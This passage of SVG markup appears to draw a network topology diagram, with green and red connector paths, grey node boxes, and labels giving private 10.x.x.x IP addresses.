<path d="M -1324.9180908203125 19.38222885131836 C -1324.9180908203125 30.42792320251465 -1324.9180908203125 50.575111389160156 -1324.9180908203125 64.38223266601562 C -1324.9180908203125 78.1893539428711 -1324.9180908203125 93.85938262939453 -1324.9180908203125 99.38223266601562 C -1324.9180908203125 104.90508270263672 -1329.395263671875 109.38223266601562 -1334.9180908203125 109.38223266601562 C -1340.44091796875 109.38223266601562 -1357.7899169921875 109.38223266601562 -1373.6680908203125 109.38223266601562 C -1389.5462646484375 109.38223266601562 -1406.895263671875 109.38223266601562 -1412.4180908203125 109.38223266601562 C -1417.94091796875 109.38223266601562 -1422.4180908203125 122.81369018554688 -1422.4180908203125 139.38223266601562"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#006400" stroke-linecap="round">
<path d="M -1354.9180908203125 19.38222885131836 C -1354.9180908203125 35.95077133178711 -1359.395263671875 49.38222885131836 -1364.9180908203125 49.38222885131836 C -1370.44091796875 49.38222885131836 -1475.0943603515625 49.38222885131836 -1598.6680908203125 49.38222885131836 C -1722.2418212890625 49.38222885131836 -1826.895263671875 49.38222885131836 -1832.4180908203125 49.38222885131836 C -1837.94091796875 49.38222885131836 -1842.4180908203125 53.85938262939453 -1842.4180908203125 59.382232666015625 C -1842.4180908203125 64.90508270263672 -1842.4180908203125 80.57511138916016 -1842.4180908203125 94.38223266601562 C -1842.4180908203125 108.1893539428711 -1842.4180908203125 128.33653259277344 -1842.4180908203125 139.38223266601562"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#006400" stroke-linecap="round">
<path d="M -1347.4180908203125 19.38222885131836 C -1347.4180908203125 30.42792320251465 -1347.4180908203125 40.50151824951172 -1347.4180908203125 41.88222885131836 C -1347.4180908203125 43.262939453125 -1347.4180908203125 48.85938262939453 -1347.4180908203125 54.382232666015625 C -1347.4180908203125 59.90507888793945 -1351.895263671875 64.38223266601562 -1357.4180908203125 64.38223266601562 C -1362.94091796875 64.38223266601562 -1445.768310546875 64.38223266601562 -1542.4180908203125 64.38223266601562 C -1639.06787109375 64.38223266601562 -1721.895263671875 64.38223266601562 -1727.4180908203125 64.38223266601562 C -1732.94091796875 64.38223266601562 -1737.4180908203125 68.85938262939453 -1737.4180908203125 74.38223266601562 C -1737.4180908203125 79.90508270263672 -1737.4180908203125 92.21724700927734 -1737.4180908203125 101.88223266601562 C -1737.4180908203125 111.5472183227539 -1737.4180908203125 128.33653259277344 -1737.4180908203125 139.38223266601562"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#006400" stroke-linecap="round">
<path d="M 475.3045654296875 -270.6177673339844 C 475.29754638671875 -270.6364440917969 475.266845703125 -266.192626953125 475.23602294921875 -260.6922302246094 C 475.2052307128906 -255.1918487548828 474.9866027832031 -216.1760711669922 474.7477722167969 -173.54806518554688 C 474.5089416503906 -130.92005920410156 474.2903137207031 -91.90428161621094 474.259521484375 -86.40390014648438 C 474.22869873046875 -80.90351104736328 478.66265869140625 -76.4195785522461 484.16302490234375 -76.38876342773438 C 489.6634216308594 -76.35794067382812 530.8290405273438 -76.12728881835938 576.1090087890625 -75.87358093261719 C 621.3890380859375 -75.61988067626953 662.5546264648438 -75.38922882080078 668.0550537109375 -75.35841369628906 C 673.555419921875 -75.32759094238281 677.9893798828125 -70.84365844726562 677.9585571289062 -65.34326934814453 C 677.927734375 -59.8428840637207 677.8778076171875 -50.924991607666016 677.846923828125 -45.42460632324219 C 677.8161010742188 -39.924217224121094 677.7661743164062 -31.006324768066406 677.7353515625 -25.505937576293945 C 677.7044677734375 -20.005550384521484 677.6796875 -15.578466415405273 677.679931640625 -15.617770195007324"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#006400" stroke-linecap="round">
<path d="M 480.7028503417969 -270.6177673339844 C 480.68896484375 -270.6380615234375 480.6654052734375 -266.1952209472656 480.6502380371094 -260.69439697265625 C 480.63507080078125 -255.19358825683594 480.5459289550781 -222.86375427246094 480.45111083984375 -188.4836883544922 C 480.3563232421875 -154.10362243652344 480.2671813964844 -121.77378845214844 480.25201416015625 -116.27297973632812 C 480.2368469238281 -110.77217864990234 484.683837890625 -106.30059051513672 490.18463134765625 -106.2854232788086 C 495.6854553222656 -106.27025604248047 582.4822998046875 -106.03091430664062 684.0508422851562 -105.7508544921875 C 785.6193237304688 -105.47078704833984 872.4161987304688 -105.2314453125 877.9169921875 -105.21627807617188 C 883.4178466796875 -105.20111846923828 887.8648681640625 -100.72953033447266 887.8496704101562 -95.22872161865234 C 887.83447265625 -89.72791290283203 887.7914428710938 -74.12040710449219 887.7535400390625 -60.368377685546875 C 887.7156372070312 -46.616355895996094 887.672607421875 -31.008848190307617 887.6574096679688 -25.508037567138672 C 887.6422119140625 -20.00722885131836 887.6300048828125 -15.579204559326172 887.630126953125 -15.617770195007324"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#cd5c5c" stroke-linecap="round">
<path d="M 431.2203063964844 -288.1177673339844 C 389.7989501953125 -288.1177673339844 381.404296875 -313.3017578125 412.4703063964844 -344.3677673339844 C 443.53631591796875 -375.43377685546875 468.7203063964844 -358.0848083496094 468.7203063964844 -305.6177673339844"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#006400" stroke-linecap="round">
<path d="M 483.392822265625 -270.6177673339844 C 483.37713623046875 -270.636474609375 483.3554992675781 -266.190673828125 483.3445129394531 -260.687744140625 C 483.3335266113281 -255.1848602294922 483.275634765625 -226.18846130371094 483.2152099609375 -195.9224853515625 C 483.1547546386719 -165.65652465820312 483.09686279296875 -136.66012573242188 483.08587646484375 -131.1572265625 C 483.07489013671875 -125.65431213378906 487.5269470214844 -121.18441772460938 493.02984619140625 -121.17343139648438 C 498.53277587890625 -121.16244506835938 608.1853637695312 -120.9434814453125 737.94580078125 -120.68436431884766 C 867.7062377929688 -120.42524719238281 977.3588256835938 -120.20628356933594 982.8616943359375 -120.19529724121094 C 988.3646240234375 -120.18431091308594 992.8167114257812 -115.71441650390625 992.8057250976562 -110.21151733398438 C 992.7947387695312 -104.70861053466797 992.7568969726562 -85.74942779541016 992.72119140625 -67.864990234375 C 992.6854248046875 -49.980552673339844 992.6475830078125 -31.0213680267334 992.6365966796875 -25.518463134765625 C 992.6256103515625 -20.015560150146484 992.6167602539062 -15.582868576049805 992.6168212890625 -15.617770195007324"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#006400" stroke-linecap="round">
<path d="M 435.187744140625 -270.6177673339844 C 435.17724609375 -270.6123046875 435.16595458984375 -266.12286376953125 435.16253662109375 -260.5903625488281 C 435.1591491699219 -255.05784606933594 435.1556701660156 -249.4516143798828 435.15484619140625 -248.0684814453125 C 435.15399169921875 -246.68536376953125 435.1505126953125 -241.07913208007812 435.1470947265625 -235.54661560058594 C 435.1436767578125 -230.01409912109375 430.6559143066406 -225.53189086914062 425.1234130859375 -225.53530883789062 C 419.59088134765625 -225.53871154785156 145.12571716308594 -225.70822143554688 -187.91171264648438 -225.9138946533203 C -520.9491577148438 -226.11956787109375 -795.414306640625 -226.28907775878906 -800.94677734375 -226.29248046875 C -806.4793090820312 -226.2958984375 -810.967041015625 -221.81369018554688 -810.970458984375 -216.2811737060547 C -810.9739379882812 -210.7486572265625 -811.0216674804688 -133.3826446533203 -811.0772094726562 -43.47932815551758 C -811.1327514648438 46.423980712890625 -811.1804809570312 123.79000091552734 -811.1839599609375 129.322509765625 C -811.1873779296875 134.8550262451172 -811.169921875 139.35891723632812 -811.1449584960938 139.38223266601562"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#006400" stroke-linecap="round">
<path d="M 504.8470458984375 -270.6177673339844 C 504.8276062011719 -270.627197265625 504.8093566894531 -263.9307556152344 504.8063049316406 -255.66085815429688 C 504.8032531738281 -247.3909454345703 509.2701721191406 -240.6852264404297 514.783447265625 -240.68319702148438 C 520.2966918945312 -240.68115234375 813.0812377929688 -240.57313537597656 1168.7359619140625 -240.44192504882812 C 1524.3907470703125 -240.3107147216797 1817.17529296875 -240.20269775390625 1822.6884765625 -240.20065307617188 C 1828.2017822265625 -240.19862365722656 1832.6695556640625 -235.72760009765625 1832.66748046875 -230.21432495117188 C 1832.6654052734375 -224.70106506347656 1832.6485595703125 -178.889892578125 1832.6297607421875 -127.89219665527344 C 1832.6109619140625 -76.89450073242188 1832.5941162109375 -31.083316802978516 1832.592041015625 -25.570053100585938 C 1832.5899658203125 -20.056787490844727 1832.58837890625 -15.60099983215332 1832.58837890625 -15.617770195007324"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#cd5c5c" stroke-linecap="round">
<path d="M 445.9177551269531 -270.6177673339844 C 445.8996276855469 -270.6038513183594 445.8816223144531 -266.10467529296875 445.8775634765625 -260.5685729980469 C 445.87347412109375 -255.032470703125 445.8594665527344 -235.9589385986328 445.8462219238281 -217.96661376953125 C 445.8329772949219 -199.97430419921875 445.8189697265625 -180.9007568359375 445.81488037109375 -175.36465454101562 C 445.810791015625 -169.8285675048828 441.3196105957031 -165.34396362304688 435.78350830078125 -165.34805297851562 C 430.2474060058594 -165.3521270751953 232.29925537109375 -165.49771118164062 -6.3460693359375 -165.67323303222656 C -244.99139404296875 -165.8487548828125 -442.9395446777344 -165.9943389892578 -448.47564697265625 -165.9984130859375 C -454.0117492675781 -166.0024871826172 -458.5029296875 -161.5178985595703 -458.50701904296875 -155.98179626464844 C -458.5111083984375 -150.44569396972656 -458.5325622558594 -121.27439880371094 -458.554931640625 -90.82585906982422 C -458.57733154296875 -60.37732696533203 -458.5987854003906 -31.206018447875977 -458.60284423828125 -25.669921875 C -458.60693359375 -20.13382339477539 -458.6237487792969 -15.633322715759277 -458.64044189453125 -15.617770195007324"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#006400" stroke-linecap="round">
<path d="M 467.2479553222656 -270.6177673339844 C 467.2462158203125 -270.5971984863281 467.2109069824219 -266.09124755859375 467.1690673828125 -260.553466796875 C 467.127197265625 -255.01564025878906 466.779541015625 -209.0005645751953 466.39251708984375 -157.77587890625 C 466.0055236816406 -106.55120086669922 465.6578674316406 -60.53611373901367 465.61602783203125 -54.99831008911133 C 465.57415771484375 -49.460506439208984 461.05096435546875 -45.00514602661133 455.51318359375 -45.04698944091797 C 449.9753723144531 -45.088829040527344 431.4971618652344 -45.22843551635742 414.240966796875 -45.35881423950195 C 396.98480224609375 -45.489192962646484 378.5066223144531 -45.62879943847656 372.96881103515625 -45.67063903808594 C 367.4309997558594 -45.71248245239258 362.890869140625 -39.01248550415039 362.8280944824219 -30.705780029296875 C 362.76531982421875 -22.39907455444336 362.71429443359375 -15.643942832946777 362.7140808105469 -15.617770195007324"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#006400" stroke-linecap="round">
<path d="M 461.9450988769531 -270.6177673339844 C 461.934814453125 -270.5911560058594 461.9088134765625 -266.0733947753906 461.8870849609375 -260.52703857421875 C 461.8653259277344 -254.98065185546875 461.7110595703125 -215.63873291015625 461.54254150390625 -172.6543731689453 C 461.3739929199219 -129.67002868652344 461.2197265625 -90.3281021118164 461.197998046875 -84.78173065185547 C 461.17626953125 -79.23535919189453 456.66241455078125 -74.75677490234375 451.11602783203125 -74.77851867675781 C 445.5696716308594 -74.80026245117188 381.05694580078125 -75.05320739746094 307.0228271484375 -75.34349060058594 C 232.9887237548828 -75.6337661743164 168.4759979248047 -75.88671112060547 162.92962646484375 -75.90845489501953 C 157.3832550048828 -75.9301986694336 152.86941528320312 -71.45160675048828 152.84765625 -65.90524291992188 C 152.82591247558594 -60.35887145996094 152.79066467285156 -51.366432189941406 152.7689208984375 -45.820064544677734 C 152.74716186523438 -40.27369689941406 152.7119140625 -31.28125762939453 152.69015502929688 -25.734888076782227 C 152.6684112548828 -20.188520431518555 152.65065002441406 -15.658931732177734 152.65049743652344 -15.617770195007324"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#006400" stroke-linecap="round">
<path d="M 478.0072326660156 -270.6177673339844 C 477.9961242675781 -270.6387023925781 477.96966552734375 -266.19757080078125 477.9481201171875 -260.6982421875 C 477.9265441894531 -255.19888305664062 477.78680419921875 -219.53408813476562 477.635986328125 -181.0386962890625 C 477.48516845703125 -142.5432891845703 477.3454284667969 -106.87850189208984 477.3238525390625 -101.37915802001953 C 477.30230712890625 -95.87981414794922 481.7429504394531 -91.40425109863281 487.2423095703125 -91.38270568847656 C 492.74163818359375 -91.36115264892578 556.7073974609375 -91.11052703857422 630.1138305664062 -90.82291412353516 C 703.520263671875 -90.5353012084961 767.4859619140625 -90.28466796875 772.9853515625 -90.26312255859375 C 778.4846801757812 -90.2415771484375 782.92529296875 -85.76600646972656 782.9037475585938 -80.26666259765625 C 782.8822021484375 -74.76732635498047 782.8341674804688 -62.50755310058594 782.7965087890625 -52.88370132446289 C 782.7587890625 -43.259849548339844 782.7107543945312 -31.000078201293945 782.689208984375 -25.500734329223633 C 782.6676025390625 -20.001392364501953 782.6502685546875 -15.576638221740723 782.6504516601562 -15.617770195007324"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#006400" stroke-linecap="round">
<path d="M 443.2337341308594 -270.6177673339844 C 443.2150573730469 -270.6049499511719 443.1966247558594 -266.1066589355469 443.19256591796875 -260.570556640625 C 443.1884765625 -255.03445434570312 443.17694091796875 -239.32684326171875 443.166748046875 -225.48660278320312 C 443.15655517578125 -211.64634704589844 443.14501953125 -195.938720703125 443.14093017578125 -190.40261840820312 C 443.1368713378906 -184.8665313720703 438.64569091796875 -180.38192749023438 433.10955810546875 -180.38600158691406 C 427.5734558105469 -180.39007568359375 221.8115692138672 -180.54141235351562 -26.472503662109375 -180.72402954101562 C -274.7565612792969 -180.90663146972656 -480.5184631347656 -181.05796813964844 -486.0545654296875 -181.06204223632812 C -491.5906677246094 -181.06613159179688 -496.08184814453125 -176.58152770996094 -496.0859375 -171.04544067382812 C -496.0899963378906 -165.50933837890625 -496.1139221191406 -132.97210693359375 -496.1393737792969 -98.37149810791016 C -496.1648254394531 -63.77089309692383 -496.1887512207031 -31.23366355895996 -496.19281005859375 -25.697566986083984 C -496.1968994140625 -20.161470413208008 -496.1734619140625 -15.648591995239258 -496.1405029296875 -15.617770195007324"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#006400" stroke-linecap="round">
<path d="M 496.807373046875 -270.6177673339844 C 496.7884521484375 -270.6295471191406 496.7704162597656 -266.1717529296875 496.76708984375 -260.6610107421875 C 496.7637634277344 -255.15025329589844 496.7563171386719 -242.86505126953125 496.75048828125 -233.2212371826172 C 496.74462890625 -223.57742309570312 496.7371826171875 -211.29222106933594 496.7338562011719 -205.78146362304688 C 496.73052978515625 -200.2707061767578 501.1951599121094 -195.8006591796875 506.7059326171875 -195.7973175048828 C 512.2166748046875 -195.79397583007812 736.302001953125 -195.65830993652344 1007.2144775390625 -195.49429321289062 C 1278.1270751953125 -195.3302764892578 1502.2122802734375 -195.19461059570312 1507.72314453125 -195.19126892089844 C 1513.23388671875 -195.18792724609375 1517.698486328125 -190.71788024902344 1517.695068359375 -185.20712280273438 C 1517.6917724609375 -179.69638061523438 1517.670166015625 -143.9575958251953 1517.646728515625 -105.38233947753906 C 1517.6234130859375 -66.80707550048828 1517.601806640625 -31.068294525146484 1517.598388671875 -25.55754280090332 C 1517.5950927734375 -20.046791076660156 1517.5924072265625 -15.596603393554688 1517.5924072265625 -15.617770195007324"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#006400" stroke-linecap="round">
<path d="M 502.16741943359375 -270.6177673339844 C 502.14813232421875 -270.62786865234375 502.13055419921875 -266.167236328125 502.128173828125 -260.65472412109375 C 502.1258239746094 -255.1421661376953 502.1234130859375 -249.55616760253906 502.122802734375 -248.17803955078125 C 502.1222229003906 -246.79991149902344 502.11981201171875 -241.2139129638672 502.117431640625 -235.70135498046875 C 502.1150817871094 -230.18881225585938 506.58197021484375 -225.7180938720703 512.094482421875 -225.71572875976562 C 517.6070556640625 -225.71336364746094 787.4906005859375 -225.59738159179688 1114.8963623046875 -225.4566650390625 C 1442.302001953125 -225.3159637451172 1712.185546875 -225.19998168945312 1717.6981201171875 -225.19760131835938 C 1723.210693359375 -225.1952362060547 1727.677490234375 -220.72451782226562 1727.6751708984375 -215.21197509765625 C 1727.6728515625 -209.69943237304688 1727.654541015625 -167.24583435058594 1727.634521484375 -120.38922119140625 C 1727.6143798828125 -73.53260040283203 1727.5960693359375 -31.07900619506836 1727.59375 -25.566463470458984 C 1727.59130859375 -20.053918838500977 1727.58935546875 -15.599738121032715 1727.58935546875 -15.617770195007324"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#006400" stroke-linecap="round">
<path d="M 488.7629699707031 -270.6177673339844 C 488.74530029296875 -270.6331787109375 488.7258605957031 -266.18157958984375 488.7195129394531 -260.6748352050781 C 488.7131652832031 -255.16807556152344 488.6875 -232.84751892089844 488.66217041015625 -210.82049560546875 C 488.6368103027344 -188.79345703125 488.61114501953125 -166.472900390625 488.60479736328125 -160.9661407470703 C 488.59844970703125 -155.45938110351562 493.05743408203125 -150.99012756347656 498.564208984375 -150.98379516601562 C 504.0709533691406 -150.9774627685547 659.477783203125 -150.79864501953125 845.675048828125 -150.5843963623047 C 1031.872314453125 -150.37014770507812 1187.2791748046875 -150.1913299560547 1192.785888671875 -150.18499755859375 C 1198.292724609375 -150.1786651611328 1202.751708984375 -145.70941162109375 1202.745361328125 -140.20266723632812 C 1202.739013671875 -134.69590759277344 1202.70947265625 -109.02726745605469 1202.679443359375 -82.87016296386719 C 1202.6492919921875 -56.71305465698242 1202.6197509765625 -31.04442024230957 1202.6134033203125 -25.537660598754883 C 1202.6070556640625 -20.030902862548828 1202.6019287109375 -15.589615821838379 1202.6019287109375 -15.617770195007324"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#006400" stroke-linecap="round">
<path d="M 472.5992736816406 -270.6177673339844 C 472.5970764160156 -270.62774658203125 472.5615539550781 -266.1710510253906 472.51995849609375 -260.6634521484375 C 472.4783630371094 -255.15585327148438 472.1580505371094 -212.74037170410156 471.80450439453125 -165.92581176757812 C 471.450927734375 -119.11123657226562 471.130615234375 -76.69574737548828 471.08905029296875 -71.18815612792969 C 471.0474548339844 -65.68055725097656 475.478515625 -61.18205261230469 480.9861145019531 -61.14045715332031 C 486.49371337890625 -61.0988655090332 504.87109375 -60.960079193115234 522.0331420898438 -60.83047103881836 C 539.1951904296875 -60.700862884521484 557.5725708007812 -60.562076568603516 563.0802001953125 -60.520484924316406 C 568.5877685546875 -60.47888946533203 573.0188598632812 -55.980384826660156 572.977294921875 -50.47278594970703 C 572.9356689453125 -44.96519088745117 572.8935546875 -39.38420486450195 572.8831787109375 -38.00730895996094 C 572.8727416992188 -36.630409240722656 572.8306274414062 -31.049421310424805 572.7890014648438 -25.541826248168945 C 572.7473754882812 -20.034231185913086 572.7138671875 -15.591079711914062 572.7140502929688 -15.617770195007324"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#006400" stroke-linecap="round">
<path d="M 453.94342041015625 -270.6177673339844 C 453.92718505859375 -270.5985412597656 453.9073181152344 -266.0912780761719 453.8990478515625 -260.55047607421875 C 453.8907775878906 -255.0096893310547 453.8471374511719 -225.81362915039062 453.8016357421875 -195.33926391601562 C 453.756103515625 -164.86488342285156 453.71246337890625 -135.6688232421875 453.70416259765625 -130.12802124023438 C 453.6958923339844 -124.58722686767578 449.1974792480469 -120.10224151611328 443.65667724609375 -120.11051940917969 C 438.1158752441406 -120.1187973022461 304.7283630371094 -120.31810760498047 145.7273406982422 -120.55569458007812 C -13.273691177368164 -120.79328155517578 -146.66119384765625 -120.99259185791016 -152.20199584960938 -121.00086975097656 C -157.74278259277344 -121.00914764404297 -162.24119567871094 -116.52416229248047 -162.24948120117188 -110.98336791992188 C -162.25775146484375 -105.44256591796875 -162.28628540039062 -86.35283660888672 -162.3131866455078 -68.34525299072266 C -162.340087890625 -50.33766555786133 -162.36862182617188 -31.24793243408203 -162.37689208984375 -25.707138061523438 C -162.3851776123047 -20.166343688964844 -162.39193725585938 -15.649178504943848 -162.39198303222656 -15.617770195007324"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#006400" stroke-linecap="round">
<path d="M 494.126708984375 -270.6177673339844 C 494.10809326171875 -270.6305847167969 494.0896911621094 -266.174560546875 494.08563232421875 -260.6649169921875 C 494.08160400390625 -255.15528869628906 494.0700988769531 -239.52276611328125 494.05999755859375 -225.74868774414062 C 494.04986572265625 -211.97462463378906 494.0383605957031 -196.34210205078125 494.0343017578125 -190.83245849609375 C 494.0302734375 -185.3228302001953 498.493408203125 -180.85311889648438 504.0030517578125 -180.84906005859375 C 509.5126953125 -180.8450164794922 710.7017211914062 -180.6970977783203 953.371337890625 -180.5186767578125 C 1196.041015625 -180.34027099609375 1397.22998046875 -180.19235229492188 1402.7396240234375 -180.18829345703125 C 1408.249267578125 -180.1842498779297 1412.71240234375 -175.71453857421875 1412.7083740234375 -170.20489501953125 C 1412.704345703125 -164.6952667236328 1412.6805419921875 -132.31361389160156 1412.6552734375 -97.87842559814453 C 1412.6298828125 -63.44324493408203 1412.6060791015625 -31.06157875061035 1412.60205078125 -25.551950454711914 C 1412.5980224609375 -20.042322158813477 1412.5947265625 -15.594637870788574 1412.5947265625 -15.617770195007324"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#006400" stroke-linecap="round">
<path d="M 491.44537353515625 -270.6177673339844 C 491.4271240234375 -270.6318054199219 491.4082946777344 -266.1778259277344 491.40325927734375 -260.66949462890625 C 491.39825439453125 -255.16119384765625 491.3810119628906 -236.18336486816406 491.3647155761719 -218.2813720703125 C 491.3484191894531 -200.37936401367188 491.3311767578125 -181.40155029296875 491.326171875 -175.8932342529297 C 491.3211364746094 -170.38491821289062 495.7824401855469 -165.91549682617188 501.290771484375 -165.91049194335938 C 506.799072265625 -165.9054718017578 685.0948486328125 -165.7432861328125 899.5254516601562 -165.5482177734375 C 1113.9560546875 -165.3531494140625 1292.2518310546875 -165.1909637451172 1297.76025390625 -165.18594360351562 C 1303.2685546875 -165.18093872070312 1307.7298583984375 -160.71151733398438 1307.724853515625 -155.2032012939453 C 1307.7197265625 -149.69488525390625 1307.693359375 -120.66999816894531 1307.665771484375 -90.3742904663086 C 1307.63818359375 -60.07858657836914 1307.61181640625 -31.053693771362305 1307.6068115234375 -25.54538345336914 C 1307.601806640625 -20.03707504272461 1307.5977783203125 -15.592329978942871 1307.5977783203125 -15.617770195007324"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#006400" stroke-linecap="round">
<path d="M 485.5041198730469 -351.6177673339844 C 485.5022277832031 -351.6827392578125 485.7996520996094 -341.50714111328125 486.16845703125 -328.88995361328125 C 486.5372314453125 -316.27276611328125 486.64312744140625 -305.85345458984375 486.4049377441406 -305.6177673339844"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#006400" stroke-linecap="round">
<path d="M 484.9925842285156 -416.6177673339844 L 484.9925842285156 -386.6177673339844"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#006400" stroke-linecap="round">
<path d="M 484.9925842285156 -546.6177978515625 L 484.9925842285156 -516.6177978515625"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#006400" stroke-linecap="round">
<path d="M 484.9925842285156 -481.6177673339844 L 484.9925842285156 -451.6177673339844"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g fill="#d3d3d3" fill-rule="nonzero" fill-opacity="1" stroke="none">
<path d="M 220.08187866210938 -15.617770195007324 L 295.0818786621094 -15.617770195007324 L 295.0818786621094 19.382229804992676 L 220.08187866210938 19.382229804992676 L 220.08187866210938 -15.617770195007324 z"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 864.7273363015069, 559.9649452636687)">
<text font-weight="normal" font-size="10" font-family="Helvetica" font-style="normal" fill="#000000" fill-opacity="1" stroke="none" x="0" y="0">10.125.149.108</text>
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g fill="#d3d3d3" fill-rule="nonzero" fill-opacity="1" stroke="none">
<path d="M 430.0818786621094 -15.617770195007324 L 505.0818786621094 -15.617770195007324 L 505.0818786621094 19.382229804992676 L 430.0818786621094 19.382229804992676 L 430.0818786621094 -15.617770195007324 z"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 950.7591843695093, 559.9649452636687)">
<text font-weight="normal" font-size="10" font-family="Helvetica" font-style="normal" fill="#000000" fill-opacity="1" stroke="none" x="0" y="0">10.157.253.42</text>
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g fill="#d3d3d3" fill-rule="nonzero" fill-opacity="1" stroke="none">
<path d="M -1354.9180908203125 139.38223266601562 L -1279.9180908203125 139.38223266601562 L -1279.9180908203125 174.38223266601562 L -1354.9180908203125 174.38223266601562 L -1354.9180908203125 139.38223266601562 z"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 230.33472246151445, 622.5228141205482)">
<text font-weight="normal" font-size="10" font-family="Helvetica" font-style="normal" fill="#000000" fill-opacity="1" stroke="none" x="0" y="0">10.250.138.59</text>
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g fill="#d3d3d3" fill-rule="nonzero" fill-opacity="1" stroke="none">
